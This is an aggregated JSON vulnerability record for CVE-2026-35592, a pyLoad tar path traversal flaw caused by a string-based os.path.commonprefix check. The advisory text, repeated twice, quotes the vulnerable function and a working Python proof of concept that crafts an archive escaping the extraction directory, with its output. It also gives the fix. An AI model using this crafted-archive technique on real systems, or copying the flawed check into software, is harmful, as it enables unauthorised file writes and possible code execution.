{"id":"CVE-2026-35592","aliases":["EUVD-2026-19738","GHSA-mvwx-582f-56r7","PYSEC-2026-124"],"status":"published","title":"pyLoad has an Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00265,"percentile":0.18519,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-04-07T16:11:38Z","modified":"2026-06-17T10:40:49Z","fixes":[{"ecosystem":"PyPI","package":"pyload-ng","fixed_in":["0.5.0b3.dev97"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev97"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev97"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96"]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev97"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96"]}],"products":[{"vendor":"pyload","product":"pyload"},{"vendor":"pyload-ng_project","product":"pyload-ng"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35592","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-124.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mvwx-582f-56r7"},{"url":"https://github.com/pyload/pyload","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35592","title":"pyLoad has an Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.","status":"published","published":"2026-04-07T16:11:38.209Z","modified":"2026-04-08T14:58:21.343Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-19738","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.","status":"published","published":"2026-04-07T16:11:38Z","modified":"2026-04-08T14:58:21Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:12.037386Z"}],"ghsa":[{"id":"GHSA-mvwx-582f-56r7","title":"pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass","description":"## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 — CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 — VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads/pkg'` — **equals the directory, check passes**\n- `commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads'` — **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) → `extract_queued()` → `UnTar.extract()` (line 76) → `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = '/tmp/test_extraction_dir'\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:\n    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')\n    data = b'escaped the sandbox!'\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open('/tmp/evil.tar.gz') as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f'Member: {member.name}')\n        print(f'Resolved: {os.path.abspath(member_path)}')\n        print(f'Check passes (should be False): {bypassed}')\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f'File escaped to: {escaped_file}')\nprint(f'Content: {open(escaped_file).read()}')\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users' downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.","status":"published","published":"2026-04-08T00:04:37Z","modified":"2026-06-08T19:47:23Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:18.682012Z"}],"nvd":[{"id":"CVE-2026-35592","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.","status":"published","published":"2026-04-07T17:16:34.28Z","modified":"2026-06-17T10:40:49.74Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"GHSA-mvwx-582f-56r7","title":"pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass","description":"## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 — CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 — VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads/pkg'` — **equals the directory, check passes**\n- `commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads'` — **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) → `extract_queued()` → `UnTar.extract()` (line 76) → `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = '/tmp/test_extraction_dir'\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:\n    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')\n    data = b'escaped the sandbox!'\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open('/tmp/evil.tar.gz') as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f'Member: {member.name}')\n        print(f'Resolved: {os.path.abspath(member_path)}')\n        print(f'Check passes (should be False): {bypassed}')\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f'File escaped to: {escaped_file}')\nprint(f'Content: {open(escaped_file).read()}')\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users' downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.","status":"published","published":"2026-04-08T00:04:37Z","modified":"2026-06-08T20:00:10.712797819Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"PYSEC-2026-124","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.","status":"published","published":"2026-04-07T17:16:34.28Z","modified":"2026-05-20T09:19:15.840719Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}